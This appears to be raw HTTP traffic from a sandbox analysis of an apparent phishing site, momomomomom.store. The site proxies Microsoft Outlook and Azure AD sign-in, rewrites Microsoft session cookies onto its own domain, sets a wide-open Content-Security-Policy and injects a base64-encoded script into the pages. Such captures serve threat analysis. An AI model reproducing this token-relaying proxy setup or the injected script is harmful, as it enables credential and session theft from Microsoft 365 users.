path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; expires=Tue, 07-May-2024 19:28:38 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: ClientId=12D705722FB7452FB0AD373906C89A99; expires=Wed, 07-May-2025 18:28:38 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:28:38 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; expires=Tue, 07-May-2024 19:28:38 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; expires=Wed, 08-May-2024 00:30:38 GMT; path=/;SameSite=None; secure; HttpOnly X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-05-07T18:28:38.531 X-BackEnd-End: 2024-05-07T18:28:38.531 X-DiagInfo: FR2P281MB3376 X-BEServer: FR2P281MB3376 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-BackendServerStatus: 302 X-FirstHopCafeEFZ: FRA X-FEProxyInfo: FR4P281CA0447.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: FRA X-FEServer: FR4P281CA0447 Date: Tue, 07 May 2024 18:28:38 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:38 UTC	1284	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49767	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:39 UTC	1843	OUT	GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag
2024-05-07 18:28:39 UTC	2026	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f071d6e7-8ba9-4448-b8e1-0b0325426200 x-ms-ests-server: 2.1.18037.7 - SEC ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; domain=momomomomom.store; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AsSibJWZZjJCjo1UHVxahpU; expires=Thu, 06-Jun-2024 18:28:39 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; domain=momomomomom.store; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 07 May 2024 18:28:39 GMT Connection: close content-length: 21131 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:39 UTC	14358	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --> <!DOCTYPE html> <html> <head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-05-07 18:28:39 UTC	6773	IN	Data Raw: 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 64 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 64 2e 4c 6f 61 64 28 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6f 29 7b 74 68 72 6f 77 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 2e 20 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 4c 6f 61 64 28 29 20 66 61 69 6c 65 64 20 64 65 73 70 69 74 65 20 69 6e 69 74 69 61 6c 20 6c 6f 61 64 20 73 75 63 63 65 73 73 2e 20 5b 27 22 2b 6e 2b 22 27 5d 22 7d 73 26 26 28 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 Data Ascii: ,o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c ;d.failMessage="Reload Failed",d.successMessage="Reload Success",d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}s&&(document.loca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49768	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:40 UTC	2225	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-05-07 18:28:40 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2985196 Cache-Control: public, max-age=31536000 Content-MD5: OdlDOzXlgXZa124Z7O0jlA== Content-Type: application/x-javascript Date: Tue, 07 May 2024 18:28:40 GMT Etag: 0x8DC52767B578035 Last-Modified: Mon, 01 Apr 2024 18:06:40 GMT Server: ECAcc (frc/4CE0) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 58f41a24-901e-00de-7785-85cc5d000000 x-ms-version: 2009-09-19 content-length: 141311 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:40 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-05-07 18:28:40 UTC	16384	IN	Data Raw: 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 45 3d 6e 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 6e 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 7d 72 65 74 75 72 6e 20 45 7d 2c 67 Data Ascii: pan");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var n=_.getComputedStyle(e);E=n.borderLeftColor===n.borderRightColor,document.body.removeChild(e)}return E},g
2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 38 30 30 34 31 30 33 31 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 33 32 22 Data Ascii: TimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"80041031",PP_E_MISSING_PASSWORD:"80041032"
2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 20 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 2c 74 2c 72 29 7b 76 61 72 20 6f 3d 65 5b 6e 5d 2e 6d 61 74 63 68 28 62 29 7c 7c 5b 5d 3b 53 2e 61 2e 44 28 74 2e 6d 61 74 63 68 28 62 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 61 2e 4e 61 28 6f 2c 65 2c 72 29 7d 29 29 2c 65 5b 6e 5d 3d 6f 2e 6a 6f 69 6e 28 22 20 22 29 7d 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 69 3d 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2c 70 3d 7b 7d 2c 68 3d 7b 7d 3b 70 5b 63 26 26 2f 46 69 72 65 66 6f 78 5c 2f 32 2f 69 2e 74 65 Data Ascii: e.__proto__=n,e}function r(e,n,t,r){var o=e[n].match(b)\|\|[];S.a.D(t.match(b),(function(e){S.a.Na(o,e,r)})),e[n]=o.join(" ")}var o=Object.prototype.hasOwnProperty,i={__proto__:[]}instanceof Array,f="function"==typeof Symbol,p={},h={};p[c&&/Firefox\/2/i.te
2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 69 66 28 74 29 7b 69 66 28 21 53 2e 51 63 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4f 6e 6c 79 20 73 75 62 73 63 72 69 62 61 62 6c 65 20 74 68 69 6e 67 73 20 63 61 6e 20 61 63 74 20 61 73 20 64 65 70 65 6e 64 65 6e 63 69 65 73 22 29 3b 74 2e 6f 64 2e 63 61 6c 6c 28 74 2e 70 64 2c 65 2c 65 2e 66 64 7c 7c 28 65 2e 66 64 3d 2b 2b 6f 29 29 7d 7d 2c 47 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 29 2c 74 2e 61 70 70 6c 79 28 72 2c 6f 7c 7c 5b 5d 29 7d 66 69 6e 61 6c 6c 79 7b 6e 28 29 7d 7d 2c 71 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 71 61 28 29 7d 2c 56 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 56 61 28 29 7d 2c Data Ascii: if(t){if(!S.Qc(e))throw Error("Only subscribable things can act as dependencies");t.od.call(t.pd,e,e.fd\|\|(e.fd=++o))}},G:function(t,r,o){try{return e(),t.apply(r,o\|\|[])}finally{n()}},qa:function(){if(t)return t.o.qa()},Va:function(){if(t)return t.o.Va()},
